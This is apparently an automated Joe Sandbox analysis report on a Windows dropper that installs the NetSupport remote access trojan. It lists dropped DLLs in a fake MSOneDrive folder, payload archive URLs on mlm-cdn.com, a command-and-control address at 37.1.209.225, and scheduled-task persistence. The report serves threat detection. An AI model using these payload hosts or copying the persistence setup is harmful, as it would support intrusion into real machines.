Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	68%	ReversingLabs	Win32.Trojan.Madokwa
SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	55%	Virustotal		Browse
SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\MSOneDrive\AudioCapture.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\HTCTL32.DLL	4%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\PCICHEK.DLL	2%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\PCICL32.DLL	0%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\TCCTL32.DLL	7%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\UIManagerBrokerps.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\WerEnc.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\client32.exe	12%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\dpnathlp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\dpnhupnp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\dpnlobby.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\dxmasf.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\getuname.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\icmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\ir41_qcx.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\ir50_32.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\msvcp140_codecvt_ids.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\msvcr100.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\msvcr100_clr0400.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\pcicapi.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\remcmdstub.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\wfapigp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\wiatrace.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\winrsmgr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\MSOneDrive\winrssrv.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
geo.netsupportsoftware.com	4%	Virustotal	Browse
mlm-cdn.com	1%	Virustotal	Browse
armayalitim.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	0%	URL Reputation	safe
http://geo.netsupportsoftware.com/location/loca.asp	0%	Avira URL Cloud	safe
http://www.netsupportsoftware.com	0%	Avira URL Cloud	safe
http://%s/testpage.htmwininet.dll	0%	Avira URL Cloud	safe
http://www.netsupportschool.com/tutor-assistant.asp118	0%	Avira URL Cloud	safe
http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	0%	URL Reputation	safe
http://www.pci.co.uk/supportsupport	0%	Avira URL Cloud	safe
https://mlm-cdn.com/ssd/sdn4.zip2%localappdata%/MSOneDrive	0%	Avira URL Cloud	safe
http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)	0%	Virustotal		Browse
http://127.0.0.1RESUMEPRINTING	0%	Avira URL Cloud	safe
http://geo.netsupportsoftware.com/location/loca.aspO	0%	Avira URL Cloud	safe
http://www.netsupportsoftware.com	1%	Virustotal		Browse
http://%s/testpage.htm	0%	Avira URL Cloud	safe
https://mlm-cdn.com/ssd/sdn4.zip2%localappdata%/MSOneDrive	1%	Virustotal		Browse
http://crl.sectigo.com/COMODOTimeStampingCA_2.crl0r	0%	Avira URL Cloud	safe
http://www.netsupportschool.com/tutor-assistant.asp118	0%	Virustotal		Browse
https://mlm-cdn.com/ssd/sdn1.zip	0%	Avira URL Cloud	safe
http://geo.netsupportsoftware.com/location/loca.aspO	0%	Virustotal		Browse
http://geo.netsupportsoftware.com/location/loca.aspT	0%	Avira URL Cloud	safe
http://crl.sectigo.com/COMODOTimeStampingCA_2.crl0r	0%	Virustotal		Browse
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	0%	Avira URL Cloud	safe
http://www.pci.co.uk/supportsupport	0%	Virustotal		Browse
http://%s/fakeurl.htm	0%	Avira URL Cloud	safe
https://mlm-cdn.com/ssd/sdn1.zipl	0%	Avira URL Cloud	safe
http://crl.microso	0%	Avira URL Cloud	safe
http://geo.netsupportsoftware.com/location/loca.aspT	0%	Virustotal		Browse
https://sectigo.com/CPS0B	0%	Avira URL Cloud	safe
http://geo.netsupportsoftware.com/location/loca.asp	4%	Virustotal		Browse
https://sectigo.com/CPS0C	0%	Avira URL Cloud	safe
https://mlm-cdn.com/1	0%	Avira URL Cloud	safe
https://sectigo.com/CPS0D	0%	Avira URL Cloud	safe
https://sectigo.com/CPS0C	0%	Virustotal		Browse
http://www.netsupportschool.com/tutor-assistant.asp	0%	Avira URL Cloud	safe
https://sectigo.com/CPS0B	0%	Virustotal		Browse
https://mlm-cdn.com/ssd/sdn1.zip	1%	Virustotal		Browse
http://crt.sectigo.com/COMODOTimeStampingCA_2.crt0#	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	0%	Virustotal		Browse
https://mlm-cdn.com/ssd/sdn2.zip2a	0%	Avira URL Cloud	safe
https://sectigo.com/CPS0D	0%	Virustotal		Browse
https://mlm-cdn.com/	0%	Avira URL Cloud	safe
http://www.pci.co.uk/support	0%	Avira URL Cloud	safe
http://www.crossteccorp.com	0%	Avira URL Cloud	safe
http://www.netsupportschool.com/tutor-assistant.asp	0%	Virustotal		Browse
http://crt.sectigo.com/COMODOTimeStampingCA_2.crt0#	0%	Virustotal		Browse
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	0%	Avira URL Cloud	safe
https://mlm-cdn.com/	1%	Virustotal		Browse
https://mlm-cdn.com/ssd/sdn4.zip	0%	Avira URL Cloud	safe
http://127.0.0.1	0%	Avira URL Cloud	safe
http://www.pci.co.uk/support	0%	Virustotal		Browse
https://mlm-cdn.com/ssd/sdn4.zipj	0%	Avira URL Cloud	safe
http://www.symauth.com/cps0(	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	0%	Virustotal		Browse
http://geo.netsupportsoftware.com/	0%	Avira URL Cloud	safe
http://37.1.209.225/fakeurl.htm	0%	Avira URL Cloud	safe
http://127.0.0.1	1%	Virustotal		Browse
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	Avira URL Cloud	safe
http://www.symauth.com/cps0(	0%	Virustotal		Browse
https://mlm-cdn.com/ssd/sdn3.zip	0%	Avira URL Cloud	safe
https://mlm-cdn.com/ssd/sdn4.zip	1%	Virustotal		Browse
http://www.symauth.com/rpa00	0%	Avira URL Cloud	safe
https://mlm-cdn.com/ssd/sdn4.zipom/ssd/sdn3.zipe4$	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	Avira URL Cloud	safe
http://www.crossteccorp.com	0%	Virustotal		Browse
https://mlm-cdn.com/k	0%	Avira URL Cloud	safe
https://mlm-cdn.com/ssd/sdn2.zip	0%	Avira URL Cloud	safe
https://mlm-cdn.com/ssd/sdn4.zipL	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
geo.netsupportsoftware.com	172.67.68.212	true	false	4%, Virustotal, Browse	unknown
mlm-cdn.com	142.11.212.184	true	false	1%, Virustotal, Browse	unknown
armayalitim.com	37.1.209.225	true	true	0%, Virustotal, Browse	unknown
armayalitim1722.com	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://geo.netsupportsoftware.com/location/loca.asp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://mlm-cdn.com/ssd/sdn1.zip	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://mlm-cdn.com/ssd/sdn4.zip	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://37.1.209.225/fakeurl.htm	true	Avira URL Cloud: safe	unknown
https://mlm-cdn.com/ssd/sdn3.zip	false	Avira URL Cloud: safe	unknown
https://mlm-cdn.com/ssd/sdn2.zip	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.netsupportsoftware.com	PCICL32.DLL.3.dr	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://%s/testpage.htmwininet.dll	client32.exe, 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmp, HTCTL32.DLL.3.dr	false	Avira URL Cloud: safe	unknown
http://www.netsupportschool.com/tutor-assistant.asp118	client32.exe, 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmp, client32.exe, 0000000D.00000002.1391294248.00000000111CD000.00000004.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.3.dr, PCICHEK.DLL.3.dr	false	URL Reputation: safe	unknown
http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)	client32.exe, 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 0000000D.00000002.1391176312.0000000011181000.00000002.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	remcmdstub.exe.3.dr	false	URL Reputation: safe	unknown
http://www.pci.co.uk/supportsupport	client32.exe, 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmp, client32.exe, 0000000D.00000002.1391294248.00000000111CD000.00000004.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://mlm-cdn.com/ssd/sdn4.zip2%localappdata%/MSOneDrive	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.000000000105E000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1RESUMEPRINTING	client32.exe, 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 0000000D.00000002.1391176312.0000000011181000.00000002.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr	false	Avira URL Cloud: safe	unknown
http://geo.netsupportsoftware.com/location/loca.aspO	client32.exe, 0000000B.00000002.3743777363.00000000010C8000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://%s/testpage.htm	client32.exe, client32.exe, 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmp, HTCTL32.DLL.3.dr	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/COMODOTimeStampingCA_2.crl0r	remcmdstub.exe.3.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.3.dr, PCICHEK.DLL.3.dr	false	URL Reputation: safe	unknown
http://geo.netsupportsoftware.com/location/loca.aspT	client32.exe, 0000000B.00000002.3743777363.0000000001146000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 0000000B.00000003.1671103639.0000000001146000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	pcicapi.dll.3.dr, remcmdstub.exe.3.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://%s/fakeurl.htm	client32.exe, client32.exe, 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmp, HTCTL32.DLL.3.dr	false	Avira URL Cloud: safe	unknown
https://mlm-cdn.com/ssd/sdn1.zipl	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1318840314.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.3.dr, PCICL32.DLL.3.dr	false	URL Reputation: safe	unknown
http://crl.microso	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1372124884.00000000037A4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0B	remcmdstub.exe.3.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0C	pcicapi.dll.3.dr, remcmdstub.exe.3.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0D	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.3.dr, pcicapi.dll.3.dr, PCICHEK.DLL.3.dr, remcmdstub.exe.3.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://mlm-cdn.com/1	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368040624.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.netsupportschool.com/tutor-assistant.asp	client32.exe, 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmp, client32.exe, 0000000D.00000002.1391294248.00000000111CD000.00000004.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crt.sectigo.com/COMODOTimeStampingCA_2.crt0#	remcmdstub.exe.3.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://mlm-cdn.com/ssd/sdn2.zip2a	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368040624.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mlm-cdn.com/	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010BD000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.pci.co.uk/support	client32.exe, 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmp, client32.exe, 0000000D.00000002.1391294248.00000000111CD000.00000004.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.3.dr, PCICHEK.DLL.3.dr	false	URL Reputation: safe	unknown
http://www.crossteccorp.com	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.3.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.3.dr, PCICL32.DLL.3.dr	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.3.dr, PCICHEK.DLL.3.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	pcicapi.dll.3.dr, remcmdstub.exe.3.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1	client32.exe, client32.exe, 0000000D.00000002.1391176312.0000000011181000.00000002.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://mlm-cdn.com/ssd/sdn4.zipj	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368040624.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.3.dr, client32.exe.3.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://geo.netsupportsoftware.com/	client32.exe, 0000000B.00000003.1671103639.0000000001162000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 0000000B.00000002.3746392967.0000000001162000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.3.dr, pcicapi.dll.3.dr, PCICHEK.DLL.3.dr, remcmdstub.exe.3.dr	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.3.dr, PCICHEK.DLL.3.dr	false	URL Reputation: safe	unknown
http://www.symauth.com/rpa00	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.3.dr, client32.exe.3.dr	false	Avira URL Cloud: safe	unknown
https://mlm-cdn.com/ssd/sdn4.zipom/ssd/sdn3.zipe4$	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368040624.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.3.dr, pcicapi.dll.3.dr, PCICHEK.DLL.3.dr, remcmdstub.exe.3.dr	false	Avira URL Cloud: safe	unknown
https://mlm-cdn.com/k	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368040624.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mlm-cdn.com/ssd/sdn4.zipJ	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368040624.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://mlm-cdn.com/ssd/sdn4.zipL	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368040624.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.11.212.184	mlm-cdn.com	United States	54290	HOSTWINDSUS	false
172.67.68.212	geo.netsupportsoftware.com	United States	13335	CLOUDFLARENETUS	false
37.1.209.225	armayalitim.com	Ukraine	29802	HVC-ASUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1514955
Start date and time:	2024-09-21 14:44:32 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
Detection:	MAL
Classification:	mal80.rans.evad.winEXE@7/34@10/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 79% Number of executed functions: 120 Number of non-executed functions: 192
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:03:10	API Interceptor	10901831x Sleep call for process: client32.exe modified
14:45:40	Task Scheduler	Run new task: MSOneDrive path: C:\Users\user\AppData\Local/MSOneDrive\client32.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
142.11.212.184	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse
	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse
	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse
172.67.68.212	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	8hN4C25a0O.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	FakturaPDF.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	JbZaDxFXF3.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	NetSupport RAT, LummaC Stealer, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp
	MDE_File_Sample_fb7baecc9f46e01492b4e3e6409d6c73f83a1169.zip	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	XCIlhzFXdplpXdhQXCyywBkGlU.ps1	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	tOUKLPvSz.ps1	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	R6aeFGF7gU.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
37.1.209.225	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	http://37.1.209.225/fakeurl.htm
37.1.209.225	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	http://37.1.209.225/fakeurl.htm

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
geo.netsupportsoftware.com	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	172.67.68.212
	upd_8707558.msix	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	8hN4C25a0O.exe	Get hash	malicious	NetSupport RAT	Browse	172.67.68.212
	information_package.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader, Stealc, Vidar	Browse	104.26.0.231
	Update.js	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	FakturaPDF.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	FakturaPDF.exe	Get hash	malicious	NetSupport RAT	Browse	172.67.68.212
armayalitim.com	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	37.1.209.225
armayalitim.com	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	37.1.209.225
mlm-cdn.com	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	142.11.212.184
	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	142.11.212.184
	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	142.11.212.184

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HOSTWINDSUS	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	142.11.212.184
	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	142.11.212.184
	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	142.11.212.184
	Please sign this document - Signature requested by HR Notices.eml	Get hash	malicious	HTMLPhisher	Browse	142.11.211.206
	Brownsburg Fire Territory.pdf	Get hash	malicious	Unknown	Browse	192.236.147.242
	information_package.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader, Stealc, Vidar	Browse	192.236.208.115
	https://www.qrcreator.com/qr/C9948D09	Get hash	malicious	HTMLPhisher	Browse	23.238.35.10
	https://www.qrcreator.com/qr/1CFCF746	Get hash	malicious	Phisher	Browse	23.238.35.10
HVC-ASUS	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	37.1.209.225
	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	37.1.209.225
